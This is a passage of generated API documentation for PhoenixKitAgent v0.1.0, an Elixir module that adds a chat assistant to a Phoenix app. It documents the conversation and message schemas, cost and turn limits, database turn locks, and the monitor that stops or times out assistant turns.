error (see PhoenixKitAgent.Attachments.Processor), never text of the file.
A ready picture or scanned PDF has no extracted_text: the model is shown
its pixels in the turn that sends it.
conversation_uuid, message_uuid, user_uuid and file_uuid are set by the
caller, never cast.

      


      
        Summary


  
    Types
  


    
      
        t()

      


    





  
    Functions
  


    
      
        changeset(attachment, attrs)

      


        Builds an attachment from its file description and processing state.



    


    
      
        kinds()

      


        The kinds of attachment: image, pdf, sheet, text.



    





      


      
        Types


        


  
    
      
    
    
      t()



        
          
        

    

  


  

      

          @type t() :: %PhoenixKitAgent.Schemas.Attachment{
  __meta__: term(),
  content_type: term(),
  conversation: term(),
  conversation_uuid: term(),
  error: term(),
  extracted_text: term(),
  file: term(),
  file_uuid: term(),
  filename: term(),
  inserted_at: term(),
  kind: term(),
  message: term(),
  message_uuid: term(),
  pages: term(),
  size_bytes: term(),
  status: term(),
  truncated: term(),
  user: term(),
  user_uuid: term(),
  uuid: term()
}


      



  


        

      

      
        Functions


        


  
    
      
    
    
      changeset(attachment, attrs)



        
          
        

    

  


  

      

          @spec changeset(t(), map()) :: Ecto.Changeset.t()


      


Builds an attachment from its file description and processing state.

  



  
    
      
    
    
      kinds()



        
          
        

    

  


  

      

          @spec kinds() :: [String.t()]


      


The kinds of attachment: image, pdf, sheet, text.

  


        

      


  

    
PhoenixKitAgent.Schemas.Conversation 
    



      
A user's chat with the assistant (phoenix_kit_agent_conversations).
user_uuid is the owner — the only person who reads and writes the chat — and
is set on the struct by the caller, never cast from attributes. busy_since
and busy_turn_ref are the lock of a turn in flight; cost_micro_usd sums
the turns for display (limits are counted from the AI request journal).

      


      
        Summary


  
    Types
  


    
      
        t()

      


    





  
    Functions
  


    
      
        changeset(conversation, attrs)

      


        Changes the title, status or metadata of a chat.



    


    
      
        statuses()

      


        The statuses a chat can have: active, archived, deleted (soft delete).



    





      


      
        Types


        


  
    
      
    
    
      t()



        
          
        

    

  


  

      

          @type t() :: %PhoenixKitAgent.Schemas.Conversation{
  __meta__: term(),
  busy_since: term(),
  busy_turn_ref: term(),
  cost_micro_usd: term(),
  input_tokens: term(),
  inserted_at: term(),
  last_message_at: term(),
  message_count: term(),
  messages: term(),
  metadata: term(),
  output_tokens: term(),
  status: term(),
  title: term(),
  updated_at: term(),
  user: term(),
  user_uuid: term(),
  uuid: term()
}


      



  


        

      

      
        Functions


        


  
    
      
    
    
      changeset(conversation, attrs)



        
          
        

    

  


  

      

          @spec changeset(t(), map()) :: Ecto.Changeset.t()


      


Changes the title, status or metadata of a chat.

  



  
    
      
    
    
      statuses()



        
          
        

    

  


  

      

          @spec statuses() :: [String.t()]


      


The statuses a chat can have: active, archived, deleted (soft delete).

  


        

      


  

    
PhoenixKitAgent.Schemas.LimitEvent 
    



      
A limit notice that was sent (phoenix_kit_agent_limit_events): at most one per
user, kind and period (period_key is "2026-10-19" for a day, "2026-10" for
a month), which is how a limit is announced once. A warn_80 row names its
limit in the key — "cost:2026-10-19", "cost:2026-10", "turns:2026-10-19" —
so each of the three limits warns once (PhoenixKitAgent.Limits); the
watchers' event of a limit reached is keyed "w:<period>". used and
limit are in the limit's own unit (micro-dollars or turns; none for
ai_budget). user_uuid is set by the caller.

      


      
        Summary


  
    Types
  


    
      
        t()

      


    





  
    Functions
  


    
      
        changeset(event, attrs)

      


        Builds a limit notice.



    


    
      
        kinds()

      


        The kinds of limit notice.



    





      


      
        Types


        


  
    
      
    
    
      t()



        
          
        

    

  


  

      

          @type t() :: %PhoenixKitAgent.Schemas.LimitEvent{
  __meta__: term(),
  inserted_at: term(),
  limit: term(),
  limit_kind: term(),
  notified_at: term(),
  period_key: term(),
  used: term(),
  user: term(),
  user_uuid: term(),
  uuid: term()
}


      



  


        

      

      
        Functions


        


  
    
      
    
    
      changeset(event, attrs)



        
          
        

    

  


  

      

          @spec changeset(t(), map()) :: Ecto.Changeset.t()


      


Builds a limit notice.

  



  
    
      
    
    
      kinds()



        
          
        

    

  


  

      

          @spec kinds() :: [String.t()]


      


The kinds of limit notice.

  


        

      


  

    
PhoenixKitAgent.Schemas.Message 
    



      
One message of a chat (phoenix_kit_agent_messages): what the user wrote, a
model answer (with the tool calls it asked for), a tool result, or a notice
(a limit, an error, a refusal). The table is also the assistant's journal of
tool calls: who, what, when, and the outcome.
conversation_uuid, ai_request_uuid, assistant_message_uuid and
confirmation_uuid are set by the caller, never cast. tool_name is the
registry name of the tool, not the name shown to the model; tool_result is
the truncated result, without confirmation tokens or other control fields.
A write the user is asked to confirm (V2 of the migrations) is a tool
message with tool_outcome: "needs_confirmation", the uuid of core's
confirmation in confirmation_uuid and the assistant message whose tool
call it answers in assistant_message_uuid; how it ended is a notice with
the same confirmation_uuid and its outcome (confirmed, rejected,
expired, changed, failed). One without such a notice is still waiting.
changeset/2 is the full set of fields, for the turn loop
(PhoenixKitAgent.Turns) only; user_changeset/2 is what a person writes —
the text of a user message and nothing else. Both cut NUL characters from
every text they keep (PostgreSQL refuses them in text and jsonb).
tool_summary is virtual: the read functions of
PhoenixKitAgent.Conversations fill it for a tool message in place of
the result (see there). So is card: the chat panel puts there what it
shows of a confirmation (PhoenixKitAgent.Confirmations.cards/4).

      


      
        Summary


  
    Types
  


    
      
        t()

      


    





  
    Functions
  


    
      
        changeset(message, attrs)

      


        Builds a message from all its content fields — for the turn loop only, never
from what a client sent.



    


    
      
        roles()

      


        The message roles: user, assistant, tool, notice.



    


    
      
        tool_outcomes()

      


        The outcomes of a tool call.



    


    
      
        user_changeset(message, attrs)

      


        A message the user writes: role user and the non-blank content; every
other attribute is ignored.



    





      


      
        Types


        


  
    
      
    
    
      t()



        
          
        

    

  


  

      

          @type t() :: %PhoenixKitAgent.Schemas.Message{
  __meta__: term(),
  ai_request_uuid: term(),
  assistant_message_uuid: term(),
  card: term(),
  confirmation_uuid: term(),
  content: term(),
  conversation: term(),
  conversation_uuid: term(),
  cost_micro_usd: term(),
  error: term(),
  input_tokens: term(),
  inserted_at: term(),
  latency_ms: term(),
  model: term(),
  output_tokens: term(),
  role: term(),
  tool_call_id: term(),
  tool_calls: term(),
  tool_name: term(),
  tool_outcome: term(),
  tool_result: term(),
  tool_summary: term(),
  turn_ref: term(),
  uuid: term()
}


      



  


        

      

      
        Functions


        


  
    
      
    
    
      changeset(message, attrs)



        
          
        

    

  


  

      

          @spec changeset(t(), map()) :: Ecto.Changeset.t()


      


Builds a message from all its content fields — for the turn loop only, never
from what a client sent.

  



  
    
      
    
    
      roles()



        
          
        

    

  


  

      

          @spec roles() :: [String.t()]


      


The message roles: user, assistant, tool, notice.

  



  
    
      
    
    
      tool_outcomes()



        
          
        

    

  


  

      

          @spec tool_outcomes() :: [String.t()]


      


The outcomes of a tool call.

  



  
    
      
    
    
      user_changeset(message, attrs)



        
          
        

    

  


  

      

          @spec user_changeset(t(), map()) :: Ecto.Changeset.t()


      


A message the user writes: role user and the non-blank content; every
other attribute is ignored.

  


        

      


  

    
PhoenixKitAgent.Schemas.UserSettings 
    



      
The assistant settings of one user (phoenix_kit_agent_user_settings, keyed by
user_uuid). A nil field means "the module default" (PhoenixKitAgent.Config);
enabled: false switches the assistant off for this user even with the agent
permission.
notify_user_uuids are extra people told when this user hits a limit (the
uuid of a deleted user is removed from every row, see
PhoenixKitAgent.UserDeletion). busy_since / busy_turn_ref are the
"one turn in flight per user" lock (PhoenixKitAgent.Turns.Locks, which
leaves updated_at alone) and updated_by_uuid the last admin who changed
the row: both are set by the caller, never cast. Money is in micro-dollars
($1 = 1_000_000).
Two changesets, for the two people who write a row: admin_changeset/2 —
the switch, the model, the admin's prompt, the limits and the notices, for
a caller that has checked agent.manage; personal_changeset/2 — the
user's own personal_instructions, nothing else. Neither casts the lock
columns, updated_by_uuid or the key. Never upsert this row with
on_conflict: :replace_all: that would wipe a live turn lock.

      


      
        Summary


  
    Types
  


    
      
        t()

      


    





  
    Functions
  


    
      
        admin_changeset(settings, attrs)

      


        What an admin with agent.manage sets for a user: switch, model, the
admin's prompt, limits, notices. The caller checks the permission.



    


    
      
        limit_fields()

      


        The per-user limit fields; each falls back to the module default when nil.



    


    
      
        personal_changeset(settings, attrs)

      


        What the user writes for themself: personal_instructions only.



    





      


      
        Types


        


  
    
      
    
    
      t()



        
          
        

    

  


  

      

          @type t() :: %PhoenixKitAgent.Schemas.UserSettings{
  __meta__: term(),
  busy_since: term(),
  busy_turn_ref: term(),
  daily_cost_limit_micro_usd: term(),
  daily_turn_limit: term(),
  enabled: term(),
  endpoint_uuid: term(),
  inserted_at: term(),
  max_attachment_mb: term(),
  max_attachments_per_message: term(),
  monthly_cost_limit_micro_usd: term(),
  notify_on_limit: term(),
  notify_user_uuids: term(),
  personal_instructions: term(),
  system_prompt: term(),
  updated_at: term(),
  updated_by_uuid: term(),
  user_uuid: term()
}


      



  


        

      

      
        Functions


        


  
    
      
    
    
      admin_changeset(settings, attrs)



        
          
        

    

  


  

      

          @spec admin_changeset(t(), map()) :: Ecto.Changeset.t()


      


What an admin with agent.manage sets for a user: switch, model, the
admin's prompt, limits, notices. The caller checks the permission.

  



  
    
      
    
    
      limit_fields()



        
          
        

    

  


  

      

          @spec limit_fields() :: [atom()]


      


The per-user limit fields; each falls back to the module default when nil.

  



  
    
      
    
    
      personal_changeset(settings, attrs)



        
          
        

    

  


  

      

          @spec personal_changeset(t(), map()) :: Ecto.Changeset.t()


      


What the user writes for themself: personal_instructions only.

  


        

      


  

    
PhoenixKitAgent.Spend 
    



      
What users spent on the assistant (spec §7.3), counted from the AI request
journal (phoenix_kit_ai_requests) rather than from the module's own
messages: a row of the user (user_uuid) whose metadata.source is
"agent" — every model call of the module passes both, so a call that
describes an attachment is counted too. The journal is not pruned by age, so
the month never loses rows. The journal keeps a cost in dollars (cost, a
numeric that can be finer than a micro-dollar); the sums are in
micro-dollars ($1 = 1_000_000): each window is added up in dollars and only
then rounded, half up, to a whole micro-dollar
(PhoenixKitAgent.Config.cost_to_micro/1) — two rows of $0.0000004 are
1, not 0. Only endpoints that report a cost add to it.
Every row with a cost counts, whatever its status: a call that failed or
timed out after the provider billed it is money spent all the same. Today
phoenix_kit_ai writes a cost only on its "success" rows (a failed call is
logged with cost NULL, which adds nothing), so the sums equal a
success-only count. For the same reason the queries do not filter on
status = 'success' and cannot use core's partial index
phoenix_kit_ai_requests_user_spend_idx; they go by the journal's
user_uuid index and the month's window.
The windows are calendar days and months in the site time zone
(Settings → time_zone; PhoenixKit.Utils.TimeZone), each from its local
midnight to the next one — so a day that has 23 or 25 hours is counted right.
Turns are counted from the module's own messages (turns_today/2): a turn
is one user message with a turn_ref.

      


      
        Summary


  
    Types
  


    
      
        spent()

      


    


    
      
        window()

      


        Half-open: from the first instant, up to but not including the second.



    





  
    Functions
  


    
      
        for_users(user_uuids, now \\ DateTime.utc_now())

      


        What each of user_uuids spent today and this month (the windows of now):
%{user_uuid => %{day_micro_usd:, month_micro_usd:}}, every user in the
answer, zero when there is nothing.



    


    
      
        format_usd(micro)

      


        Micro-dollars as dollars with at least two decimals: 1_500_000 is "1.50".



    


    
      
        period_keys(now \\ DateTime.utc_now())

      


        The local day and month that contain now, as keys: %{day: "2026-10-19", month: "2026-10"}.



    


    
      
        turns_today(user_uuids, now \\ DateTime.utc_now())

      


        How many turns each of user_uuids started today (the local day of now),
in any of their chats: %{user_uuid => count}, every user in the answer.



    


    
      
        users_this_month(now \\ DateTime.utc_now())

      


        Everyone who used the assistant this month (the local month of now): a
request in the journal or a turn. User uuids; a journal row whose user was
deleted has none and is left out, and so is a call the AI guard refused
(metadata.refused): it was never made.



    


    
      
        windows(now \\ DateTime.utc_now())

      


        The local day and month that contain now, as UTC windows.



    





      


      
        Types


        


  
    
      
    
    
      spent()



        
          
        

    

  


  

      

          @type spent() :: %{
  day_micro_usd: non_neg_integer(),
  month_micro_usd: non_neg_integer()
}


      



  



  
    
      
    
    
      window()



        
          
        

    

  


  

      

          @type window() :: {DateTime.t(), DateTime.t()}


      


Half-open: from the first instant, up to but not including the second.

  


        

      

      
        Functions


        


    

  
    
      
    
    
      for_users(user_uuids, now \\ DateTime.utc_now())



        
          
        

    

  


  

      

          @spec for_users([String.t()], DateTime.t()) :: %{required(String.t()) => spent()}


      


What each of user_uuids spent today and this month (the windows of now):
%{user_uuid => %{day_micro_usd:, month_micro_usd:}}, every user in the
answer, zero when there is nothing.

  



  
    
      
    
    
      format_usd(micro)



        
          
        

    

  


  

      

          @spec format_usd(integer()) :: String.t()


      


Micro-dollars as dollars with at least two decimals: 1_500_000 is "1.50".

  



    

  
    
      
    
    
      period_keys(now \\ DateTime.utc_now())



        
          
        

    

  


  

      

          @spec period_keys(DateTime.t()) :: %{day: String.t(), month: String.t()}


      


The local day and month that contain now, as keys: %{day: "2026-10-19", month: "2026-10"}.

  



    

  
    
      
    
    
      turns_today(user_uuids, now \\ DateTime.utc_now())



        
          
        

    

  


  

      

          @spec turns_today([String.t()], DateTime.t()) :: %{
  required(String.t()) => non_neg_integer()
}


      


How many turns each of user_uuids started today (the local day of now),
in any of their chats: %{user_uuid => count}, every user in the answer.

  



    

  
    
      
    
    
      users_this_month(now \\ DateTime.utc_now())



        
          
        

    

  


  

      

          @spec users_this_month(DateTime.t()) :: [String.t()]


      


Everyone who used the assistant this month (the local month of now): a
request in the journal or a turn. User uuids; a journal row whose user was
deleted has none and is left out, and so is a call the AI guard refused
(metadata.refused): it was never made.

  



    

  
    
      
    
    
      windows(now \\ DateTime.utc_now())



        
          
        

    

  


  

      

          @spec windows(DateTime.t()) :: %{day: window(), month: window()}


      


The local day and month that contain now, as UTC windows.

  


        

      


  

    
PhoenixKitAgent.Turns 
    



      
A turn of the assistant (spec §6.1): the user's message, then rounds of
model calls and tool calls until the model answers, or until a write waits
for the user's confirmation (PhoenixKitAgent.Confirmations).
Like PhoenixKitAgent.Conversations, every function acts for a live
browser session — the {session_token_uuid, user_uuid} reference of
PhoenixKit.Users.Auth.SessionRef.from_session/1 — and takes the answer of
PhoenixKitWeb.Users.MultiSession.impersonated?/1 for it, a boolean (anything
else raises ArgumentError). An impersonated session is refused before
anything is read or written.
start/6, in order (the first failure is the answer; a start that fails
leaves no lock behind and writes nothing to the chat — except for a limit
reached, below):
  0-1. the checks of Conversations — impersonation, the session's scope,
   the `agent` permission, the module and the user's switch, the chat is
   the user's;
 - a non-blank message of at most `agent_history_chars` characters, the
   AI module on, an endpoint chosen (the user's own, else
   `agent_default_endpoint_uuid`; `PhoenixKitAgent.UserConfig`), no more
   attachments than `max_attachments_per_message` allows, and each one
   ready, the user's own, of this chat and not sent yet
   (`PhoenixKitAgent.Attachments`);
	the locks (PhoenixKitAgent.Turns.Locks): one turn per chat
(:conversation_busy) and per user (:turn_in_flight, or
:click_in_flight while a click on a confirmation card runs); the history
is read only once they are taken, so it holds the previous turn's end;
	the limits (PhoenixKitAgent.Limits.check/3), under the locks: the
user's previous turn is over, so all it spent is in the AI journal. A
limit used up is {:error, {:limit_reached, kind}}: the locks are
released, the model is not called, the user's text is not stored, and
— the one refusal that writes — a notice goes into the chat (error
daily_cost_limit, monthly_cost_limit or daily_turn_limit) and the
limit is announced (PhoenixKitAgent.Limits.announce_reached/2);
3a. the AI guard admits the turn (PhoenixKitAI.Guard.admit/4, task
agent.chat, for as long as the turn's lock may live): the user's
block ({:error, :task_blocked}) and the task's own limits
({:error, :task_limit_exceeded}) are checked here once, and the
rounds pass the admission on (guard_admission:), so a turn admitted
before a block or a limit runs to its end. A refusal is like a limit
reached: nothing runs or is stored but a notice (error
task_blocked or task_limit_exceeded), once a day per chat (a
monthly limit: once a month); an answer of the guard this module does
not know starts no turn either (model_error, a log line without
it);
	the task starts (PhoenixKitAgent.Turns.Monitor), and {:ok, turn_ref} is returned; there the user message is stored (and the
attachments linked to it), then the rounds run
(PhoenixKitAgent.Turns.Runner). A turn that started under its limits
runs to its end.

The chat's topic (Conversations.topic/1) hears every stored message
({:agent_message_added, conversation_uuid, message_uuid}) and the end of
the turn ({:agent_turn_finished, conversation_uuid, turn_ref}), after its
locks are released. A listener matches the turn_ref it got from
start/6: a start that failed half-way is announced as finished too.
A refusal never carries turn data: an unavailable monitor or a task that
did not start is {:monitor_unavailable, class} / {:not_started, class}
with only the class of the exit (PhoenixKitAgent.Turns.Monitor.exit_class/0).
NUL characters are cut from the text before anything else.
The assistant acts with the session's rights only: tools are listed and run
by PhoenixKit.API.Executor.visible_for/3 / execute_as/5 with allow: :all, for this session; there is no service user and no API key. A write
is never run by the turn: core holds it for the user's click
(PhoenixKitAgent.Turns.Runner, "A write"), and only modules that let a
session write (core's api_session_write_modules) show any.

      


      
        Summary


  
    Types
  


    
      
        refusal()

      


        Why a turn was not started, or not stopped.



    





  
    Functions
  


    
      
        settle_interrupted(session_ref, impersonated?, conversation_uuid)

      


        What became of the turn the user's chat is locked by, for a client that
opens the chat (decision of 2026-10-20, spec §6.1): {:ok, :idle} — no
turn; {:ok, {:running, turn_ref}} — a turn runs (its task is here, or its
lock is younger than its TTL: it may run on another node);
{:ok, :interrupted} — the turn was lost (its node went down, its monitor
with it): its lock is older than the TTL and no task runs it here, so its
locks are released, the chat gets the notice "the answer was interrupted"
(error interrupted) and its topic hears {:agent_turn_finished, conversation_uuid, turn_ref}. Of two clients that open the chat at once,
only one writes the notice. Refusals are those of Conversations.



    


    
      
        start(session_ref, impersonated?, conversation_uuid, text, attachment_uuids \\ [], opts \\ [])

      


        Starts a turn in the user's chat with text and the attachments
attachment_uuids (see the moduledoc). Returns {:ok, turn_ref} as soon as
the turn runs; its first act is to store the user message (the chat's topic
hears it).



    


    
      
        stop(session_ref, impersonated?, conversation_uuid, turn_ref \\ nil)

      


        Stops the turn running in the user's chat. The turn is asked to stop and
ends at its next step — a model call under way is let finish, so the AI
journal records what it cost, but its answer is not kept — or is killed if
it has not stopped within the grace period
(PhoenixKitAgent.Turns.Monitor). Its locks are then released and the
chat's topic hears :agent_turn_finished; :ok means the request was
made. With turn_ref, only that turn is stopped — a newer one in the chat
keeps running. {:error, :not_running} when no such turn runs there (or
the monitor is restarting); someone else's chat is {:error, :not_found}.



    





      


      
        Types


        


  
    
      
    
    
      refusal()



        
          
        

    

  


  

      

          @type refusal() ::
  PhoenixKitAgent.Conversations.refusal()
  | :empty_message
  | :message_too_long
  | :ai_disabled
  | :no_endpoint
  | :invalid_attachments
  | :too_many_attachments
  | :conversation_busy
  | :turn_in_flight
  | :click_in_flight
  | {:limit_reached, PhoenixKitAgent.Limits.kind()}
  | :task_blocked
  | :task_limit_exceeded
  | :model_error
  | :not_running
  | {:not_started, PhoenixKitAgent.Turns.Monitor.exit_class()}
  | {:monitor_unavailable, PhoenixKitAgent.Turns.Monitor.exit_class()}


      


Why a turn was not started, or not stopped.

  


        

      

      
        Functions


        


  
    
      
    
    
      settle_interrupted(session_ref, impersonated?, conversation_uuid)



        
          
        

    

  


  

      

          @spec settle_interrupted(
  PhoenixKitAgent.Conversations.session_ref(),
  boolean(),
  term()
) ::
  {:ok, :idle | :interrupted | {:running, String.t()}} | {:error, refusal()}


      


What became of the turn the user's chat is locked by, for a client that
opens the chat (decision of 2026-10-20, spec §6.1): {:ok, :idle} — no
turn; {:ok, {:running, turn_ref}} — a turn runs (its task is here, or its
lock is younger than its TTL: it may run on another node);
{:ok, :interrupted} — the turn was lost (its node went down, its monitor
with it): its lock is older than the TTL and no task runs it here, so its
locks are released, the chat gets the notice "the answer was interrupted"
(error interrupted) and its topic hears {:agent_turn_finished, conversation_uuid, turn_ref}. Of two clients that open the chat at once,
only one writes the notice. Refusals are those of Conversations.

  



    

    

  
    
      
    
    
      start(session_ref, impersonated?, conversation_uuid, text, attachment_uuids \\ [], opts \\ [])



        
          
        

    

  


  

      

          @spec start(
  PhoenixKitAgent.Conversations.session_ref(),
  boolean(),
  term(),
  term(),
  [term()],
  keyword()
) ::
  {:ok, String.t()} | {:error, refusal()}


      


Starts a turn in the user's chat with text and the attachments
attachment_uuids (see the moduledoc). Returns {:ok, turn_ref} as soon as
the turn runs; its first act is to store the user message (the chat's topic
hears it).
Options:
	:request_context — what the tools' handlers get as context
(PhoenixKit.API.Executor.execute_as/5): :language, :base_url,
:hosts, :currency, :ip; :request_id defaults to the turn ref;
	:deadline_ms — a shorter deadline than agent_turn_deadline_s; it can
only shorten it;
	:page — where the user is, for the model's context: the page's path
(what the host says of it comes from its page_context hook, called
with this session's scope — PhoenixKitAgent.Prompt);
	:locale — the user's locale; else the :language of the request
context, else the process's Gettext locale. Both come from a browser and
are checked by PhoenixKitAgent.Prompt.


  



    

  
    
      
    
    
      stop(session_ref, impersonated?, conversation_uuid, turn_ref \\ nil)



        
          
        

    

  


  

      

          @spec stop(
  PhoenixKitAgent.Conversations.session_ref(),
  boolean(),
  term(),
  String.t() | nil
) ::
  :ok | {:error, refusal()}


      


Stops the turn running in the user's chat. The turn is asked to stop and
ends at its next step — a model call under way is let finish, so the AI
journal records what it cost, but its answer is not kept — or is killed if
it has not stopped within the grace period
(PhoenixKitAgent.Turns.Monitor). Its locks are then released and the
chat's topic hears :agent_turn_finished; :ok means the request was
made. With turn_ref, only that turn is stopped — a newer one in the chat
keeps running. {:error, :not_running} when no such turn runs there (or
the monitor is restarting); someone else's chat is {:error, :not_found}.
Who may stop is checked here, with the session's scope as it is now; the
turn is the one the chat's lock names. When its task is not on this node
while the lock is younger than its TTL, the turn may run on another node:
the request goes out over PubSub (PhoenixKitAgent.Turns.Monitor.broadcast_stop/1,
the turn ref only) and :ok is returned — the node that runs the turn stops
it the same way, and the chat's topic hears its end. A lock past its TTL is
a turn no node runs: {:error, :not_running}.

  


        

      


  

    
PhoenixKitAgent.Turns.History 
    



      
What a turn shows the model of the chat so far (spec §6.6): the user
messages and the final assistant answers of earlier turns, newest kept
first, up to agent_history_chars. Tool calls and tool results of earlier
turns are left out — after a loss of rights the model must not see old
data — and so are notices, but for one kind: the outcome of a confirmation
card (PhoenixKitAgent.Confirmations) goes in as a user message with the
module's own fixed phrase in the user's language — "[confirmation] done:
", "cancelled", "expired", "the data changed", "failed" —never anything the tool returned, and never a text a person wrote. So does a
card with no such notice yet, where it stands in the chat: "[confirmation]
waiting: 
  
    
    PhoenixKitAgent.Turns.Locks - PhoenixKitAgent v0.1.0
    
    

    


  
  

    
PhoenixKitAgent.Turns.Locks 
    



      
The two locks of a turn (spec §6.1 step 3), both rows in the database:
	the chat's — busy_since / busy_turn_ref of
phoenix_kit_agent_conversations: one turn per chat;
	the user's — the same columns of phoenix_kit_agent_user_settings (the
row is created empty when the user has none): one turn in flight per
user, so parallel chats cannot run past a limit.

Each is taken by one atomic statement that succeeds only when the lock is
free or older than its TTL (busy_since < now - ttl), so a lock left by a
node that went down frees itself. No advisory lock: it would hold a pool
connection for the whole turn. A lock is released only by the turn that
holds it (busy_turn_ref), so a late release cannot free a newer turn, and
a running turn checks before each round that it still holds both
(held?/3): a turn whose lock was taken over stops there. Times are the
database's (now()), so the TTL does not depend on the clocks of the nodes.
Neither statement touches updated_at of a settings row: that stays the
time the settings themselves last changed.
A click on a confirmation card (PhoenixKitAgent.Confirmations) takes the
user's lock alone (acquire_user/4) under a ref of its own (click_ref/0):
it is refused while a turn of the user runs, and no turn starts while it
runs — the click keeps its lock fresh (keep_user/4) for as long as it
runs. Whoever is refused the user's lock learns what holds it:
:turn_in_flight (a turn) or :click_in_flight (a click).

      


      
        Summary


  
    Functions
  


    
      
        acquire(user_uuid, conversation_uuid, turn_ref, ttl_s)

      


        Takes both locks for turn_ref, or neither. The chat is tried first, so a
second turn in the same chat is :conversation_busy; a turn of the user in
another chat is :turn_in_flight, a click of the user :click_in_flight.



    


    
      
        acquire_user(user_uuid, ref, ttl_s, hold_s)

      


        Takes the user's lock alone for ref (a click on a confirmation card), or
{:error, :turn_in_flight | :click_in_flight}. ttl_s is how old another
holder's lock must be to be taken over — the TTL of a turn's locks, so a
turn still running is never taken over; hold_s (at most ttl_s) is how
long this lock blocks a turn: it is dated back by ttl_s - hold_s, so a
turn takes it over hold_s after it was taken (or last kept,
keep_user/4), should it never be released (its node went down).
Released with release_user/2.



    


    
      
        click_ref()

      


        A new ref for a click on a confirmation card, told apart from a turn's.



    


    
      
        fresh?(conversation_uuid, turn_ref, ttl_s)

      


        Whether the chat's lock is turn_ref's and younger than ttl_s (the
database's clock): the turn may still run, on this node or another.



    


    
      
        held?(user_uuid, conversation_uuid, turn_ref)

      


        Whether turn_ref holds both locks.



    


    
      
        keep_user(user_uuid, ref, ttl_s, hold_s)

      


        Dates the user's lock of ref as if taken now (with acquire_user/4's
ttl_s and hold_s), while ref still holds it: a click that runs longer
than its hold keeps blocking a turn. true when ref held it.



    


    
      
        release(user_uuid, conversation_uuid, turn_ref)

      


        Releases both locks if turn_ref still holds them.



    


    
      
        release_stale(user_uuid, conversation_uuid, turn_ref, ttl_s)

      


        Releases the locks of turn_ref only while the chat's lock is still its and
older than ttl_s (the database's clock): what is left of a turn lost with
its node. true when this call released it, so of two callers at most one
does; the user's lock goes too, if turn_ref still holds it.



    


    
      
        release_user(user_uuid, ref)

      


        Releases the user's lock if ref still holds it.



    





      


      
        Functions


        


  
    
      
    
    
      acquire(user_uuid, conversation_uuid, turn_ref, ttl_s)



        
          
        

    

  


  

      

          @spec acquire(String.t(), String.t(), String.t(), pos_integer()) ::
  :ok | {:error, :conversation_busy | :turn_in_flight | :click_in_flight}


      


Takes both locks for turn_ref, or neither. The chat is tried first, so a
second turn in the same chat is :conversation_busy; a turn of the user in
another chat is :turn_in_flight, a click of the user :click_in_flight.

  



  
    
      
    
    
      acquire_user(user_uuid, ref, ttl_s, hold_s)



        
          
        

    

  


  

      

          @spec acquire_user(String.t(), String.t(), pos_integer(), pos_integer()) ::
  :ok | {:error, :turn_in_flight | :click_in_flight}


      


Takes the user's lock alone for ref (a click on a confirmation card), or
{:error, :turn_in_flight | :click_in_flight}. ttl_s is how old another
holder's lock must be to be taken over — the TTL of a turn's locks, so a
turn still running is never taken over; hold_s (at most ttl_s) is how
long this lock blocks a turn: it is dated back by ttl_s - hold_s, so a
turn takes it over hold_s after it was taken (or last kept,
keep_user/4), should it never be released (its node went down).
Released with release_user/2.

  



  
    
      
    
    
      click_ref()



        
          
        

    

  


  

      

          @spec click_ref() :: String.t()


      


A new ref for a click on a confirmation card, told apart from a turn's.

  



  
    
      
    
    
      fresh?(conversation_uuid, turn_ref, ttl_s)



        
          
        

    

  


  

      

          @spec fresh?(String.t(), String.t(), pos_integer()) :: boolean()


      


Whether the chat's lock is turn_ref's and younger than ttl_s (the
database's clock): the turn may still run, on this node or another.

  



  
    
      
    
    
      held?(user_uuid, conversation_uuid, turn_ref)



        
          
        

    

  


  

      

          @spec held?(String.t(), String.t(), String.t()) :: boolean()


      


Whether turn_ref holds both locks.

  



  
    
      
    
    
      keep_user(user_uuid, ref, ttl_s, hold_s)



        
          
        

    

  


  

      

          @spec keep_user(String.t(), String.t(), pos_integer(), pos_integer()) :: boolean()


      


Dates the user's lock of ref as if taken now (with acquire_user/4's
ttl_s and hold_s), while ref still holds it: a click that runs longer
than its hold keeps blocking a turn. true when ref held it.

  



  
    
      
    
    
      release(user_uuid, conversation_uuid, turn_ref)



        
          
        

    

  


  

      

          @spec release(String.t(), String.t(), String.t()) :: :ok


      


Releases both locks if turn_ref still holds them.

  



  
    
      
    
    
      release_stale(user_uuid, conversation_uuid, turn_ref, ttl_s)



        
          
        

    

  


  

      

          @spec release_stale(String.t(), String.t(), String.t(), pos_integer()) :: boolean()


      


Releases the locks of turn_ref only while the chat's lock is still its and
older than ttl_s (the database's clock): what is left of a turn lost with
its node. true when this call released it, so of two callers at most one
does; the user's lock goes too, if turn_ref still holds it.

  



  
    
      
    
    
      release_user(user_uuid, ref)



        
          
        

    

  


  

      

          @spec release_user(String.t(), String.t()) :: :ok


      


Releases the user's lock if ref still holds it.

  


        

      


  

  
    
    PhoenixKitAgent.Turns.Monitor - PhoenixKitAgent v0.1.0
    
    

    


  
  

    
PhoenixKitAgent.Turns.Monitor 
    



      
Starts the task of each turn under PhoenixKitAgent.Turns.TaskSupervisor,
watches it, and ends the turn whatever way the task ends (spec §6.1 step 5):
	the task returns — the turn wrote its own answer or notice;
	the deadline passes (agent_turn_deadline_s, counted from the
go-ahead) — the task is asked to stop (below) and a deadline notice
is written;
	the user stops it (PhoenixKitAgent.Turns.stop/4, request_stop/2) —
nothing is written, a partial answer is not kept;
	its chat was deleted ({:shutdown, :chat_gone}) — nothing is written;
	it ends in any way before its go-ahead (see below) — nothing is
written: the turn wrote nothing yet;
	anything else (a crash, a message the database refused, a kill) — an
interrupted notice.

Then both locks of the turn are released and the chat's topic hears
{:agent_turn_finished, conversation_uuid, turn_ref} (also for a turn that
never started — a listener matches the turn_ref it got from
PhoenixKitAgent.Turns.start/6). Those writes run in a short-lived process
of their own, so a slow database delays no other start and no deadline; if
that process cannot be started (the task supervisor is restarting), they
run here.
Stopping: a request first, a kill after the grace period
Neither "Stop" nor the deadline kills the task outright: a model call under
way would die before phoenix_kit_ai writes its journal row, and what it
cost would be lost to the limits. The monitor sends the task a stop request,
which the task honours between its steps (check_stop/0, see
PhoenixKitAgent.Turns.Runner), and kills it only if it is still there
after the grace period (:turn_stop_grace_ms, default 30 s — within the 60
s a lock outlives its deadline). However the task then ends, the turn ends
as stopped or past its deadline. A second request, or a deadline after a
stop, changes nothing.
Stopping a turn of another node
A "Stop" that reaches a node where the turn does not run (its task is not in
this node's PhoenixKitAgent.Turns.Registry) is passed on over PubSub
(broadcast_stop/1): the topic agent:turn:<turn_ref> (topic/1) hears
{:agent_stop_turn, turn_ref} — the turn ref and nothing else. The monitor
listens to the topic of every turn it runs, from its start to its end, and
takes such a request as it takes a local "Stop" (request_stop/2); a request
